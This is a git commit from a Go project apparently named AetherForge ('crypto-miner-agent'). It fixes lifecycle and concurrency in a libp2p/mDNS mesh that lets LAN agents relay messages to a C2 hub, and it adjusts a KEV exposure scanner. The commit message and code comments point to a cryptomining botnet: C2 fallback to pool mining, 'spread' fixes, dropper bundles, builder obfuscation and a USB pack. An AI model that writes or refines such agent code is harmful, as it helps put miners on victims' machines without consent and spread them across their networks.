fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

View File

@@ -113,6 +113,7 @@ func (c *AgentClient) Run() error {
if err := c.mesh.Start(); err != nil {
log.Printf("[Mesh] Failed to start: %v", err)
}
defer c.mesh.Stop()
}
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.

View File

@@ -178,11 +178,12 @@ func scanKEVExposure(patch *PatchStatusReport, ports *ListenPortsReport, sec *Sy
f.Detail = "Pulse/Ivanti VPN software detected — verify appliance firmware if VPN gateway"
}
case "CVE-2020-5902", "CVE-2022-1388":
if probe.F5Process || listening[443] {
if probe.F5Process {
f.Status = "likely"
f.Detail = "F5-related process detected"
}
if probe.F5Process {
f.Status = "likely"
f.Detail = "F5-related process detected"
} else if listening[443] {
f.Status = "likely"
f.Detail = "TCP/443 listener present — verify F5/BIG-IP patch level if applicable"
}
case "CVE-2021-26084", "CVE-2022-26134":
if probe.ConfluenceLike {

View File

@@ -5,7 +5,9 @@ package client
import (
"context"
"encoding/json"
"fmt"
"log"
"sync"
"github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/host"
@@ -18,8 +20,14 @@ const MeshProtocol = "/aetherforge/mesh/1.0.0"
const DiscoveryTag = "aetherforge-mesh-discovery"
// MeshNode represents a libp2p peer on the local network.
//
// Relay limitation: mesh uplink is one-way. Orphaned peers may forward messages
// to the Hub through a connected relay node, but Hub responses are not sent back
// over the mesh. Treat mesh as a best-effort share/stats uplink, not full C2.
type MeshNode struct {
mu sync.Mutex
host host.Host
mdns mdns.Service
client *AgentClient
}
@@ -30,33 +38,58 @@ func NewMeshNode(c *AgentClient) *MeshNode {
// Start initializes the libp2p host and mDNS discovery.
func (m *MeshNode) Start() error {
m.mu.Lock()
defer m.mu.Unlock()
if m.host != nil {
return nil
}
// Bind to any available local port automatically
h, err := libp2p.New(libp2p.ListenAddrStrings("/ip4/0.0.0.0/tcp/0"))
if err != nil {
return err
}
m.host = h
// Register the protocol handler for incoming mesh streams
m.host.SetStreamHandler(MeshProtocol, m.handleStream)
h.SetStreamHandler(MeshProtocol, m.handleStream)
// Start mDNS discovery to find other agents on the LAN
ser := mdns.NewMdnsService(m.host, DiscoveryTag, m)
ser := mdns.NewMdnsService(h, DiscoveryTag, m)
if err := ser.Start(); err != nil {
_ = h.Close()
return err
}
log.Printf("[Mesh] P2P Node started. PeerID: %s", m.host.ID().String())
m.host = h
m.mdns = ser
log.Printf("[Mesh] P2P Node started. PeerID: %s", h.ID().String())
return nil
}
// Stop tears down mDNS discovery and the libp2p host. Safe to call multiple times.
func (m *MeshNode) Stop() {
m.mu.Lock()
defer m.mu.Unlock()
if m.mdns != nil {
_ = m.mdns.Close()
m.mdns = nil
}
if m.host != nil {
_ = m.host.Close()
m.host = nil
}
}
// HandlePeerFound is a callback for mDNS discovery.
func (m *MeshNode) HandlePeerFound(pi peer.AddrInfo) {
if pi.ID == m.host.ID() {
m.mu.Lock()
h := m.host
m.mu.Unlock()
if h == nil || pi.ID == h.ID() {
return
}
log.Printf("[Mesh] Discovered peer on LAN: %s", pi.ID.String())
if err := m.host.Connect(context.Background(), pi); err != nil {
if err := h.Connect(context.Background(), pi); err != nil {
log.Printf("[Mesh] Failed to connect to peer %s: %v", pi.ID, err)
}
}
@@ -68,19 +101,30 @@ func (m *MeshNode) handleStream(s network.Stream) {
if err := json.NewDecoder(s).Decode(&msg); err != nil {
return
}
// If this node is actively connected to the Hub, act as a Relay.
// We take the incoming share payload from the orphaned peer and pass it to our active connection!
if m.client.conn != nil {
if err := m.relayToHub(msg); err == nil {
log.Printf("[Mesh] Relaying %s message from orphaned peer to Hub", msg.Type)
_ = m.client.write(msg)
}
}
// relayToHub forwards a mesh message to the active Hub WebSocket session.
// write() acquires AgentClient.mu — never read client.conn directly (data race).
func (m *MeshNode) relayToHub(msg Message) error {
if m.client == nil {
return fmt.Errorf("mesh: no agent client")
}
return m.client.write(msg)
}
// BroadcastToMesh sends a message to all connected P2P peers.
func (m *MeshNode) BroadcastToMesh(msg Message) {
for _, p := range m.host.Network().Peers() {
s, err := m.host.NewStream(context.Background(), p, MeshProtocol)
m.mu.Lock()
h := m.host
m.mu.Unlock()
if h == nil {
return
}
for _, p := range h.Network().Peers() {
s, err := h.NewStream(context.Background(), p, MeshProtocol)
if err != nil {
continue
}
@@ -91,8 +135,11 @@ func (m *MeshNode) BroadcastToMesh(msg Message) {
// PeerCount returns the number of connected mesh peers.
func (m *MeshNode) PeerCount() int {
if m.host == nil {
m.mu.Lock()
h := m.host
m.mu.Unlock()
if h == nil {
return 0
}
return len(m.host.Network().Peers())
return len(h.Network().Peers())
}

View File

@@ -9,7 +9,8 @@ func NewMeshNode(_ *AgentClient) *MeshNode { return &MeshNode{} }
func (m *MeshNode) Start() error { return nil }
func (m *MeshNode) Stop() {}
func (m *MeshNode) BroadcastToMesh(_ Message) {}
func (m *MeshNode) PeerCount() int { return 0 }

View File

@@ -0,0 +1,49 @@
//go:build p2p
package client
import (
"testing"
"crypto-miner-agent/config"
)
func TestMeshNodeStartStop(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
m := NewMeshNode(c)
if err := m.Start(); err != nil {
t.Fatal(err)
}
if m.PeerCount() < 0 {
t.Fatal("peer count must be non-negative")
}
m.Stop()
if m.PeerCount() != 0 {
t.Fatalf("peer count after stop = %d, want 0", m.PeerCount())
}
m.Stop() // idempotent
}
func TestMeshNodeStartIdempotent(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
m := NewMeshNode(c)
if err := m.Start(); err != nil {
t.Fatal(err)
}
if err := m.Start(); err != nil {
t.Fatalf("second Start: %v", err)
}
m.Stop()
}
func TestMeshRelayToHubUsesWritePath(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
m := NewMeshNode(c)
err := m.relayToHub(Message{Type: "stats"})
if err == nil {
t.Fatal("expected not-connected error without hub session")
}
if err.Error() != "not connected" {
t.Fatalf("write path error: %v", err)
}
}

20
agent/client/mesh_test.go Normal file
View File

@@ -0,0 +1,20 @@
package client
import (
"testing"
"crypto-miner-agent/config"
)
func TestMeshStubLifecycle(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
m := c.mesh
if err := m.Start(); err != nil {
t.Fatal(err)
}
if m.PeerCount() != 0 {
t.Fatalf("stub peer count = %d, want 0", m.PeerCount())
}
m.Stop()
m.Stop() // idempotent
}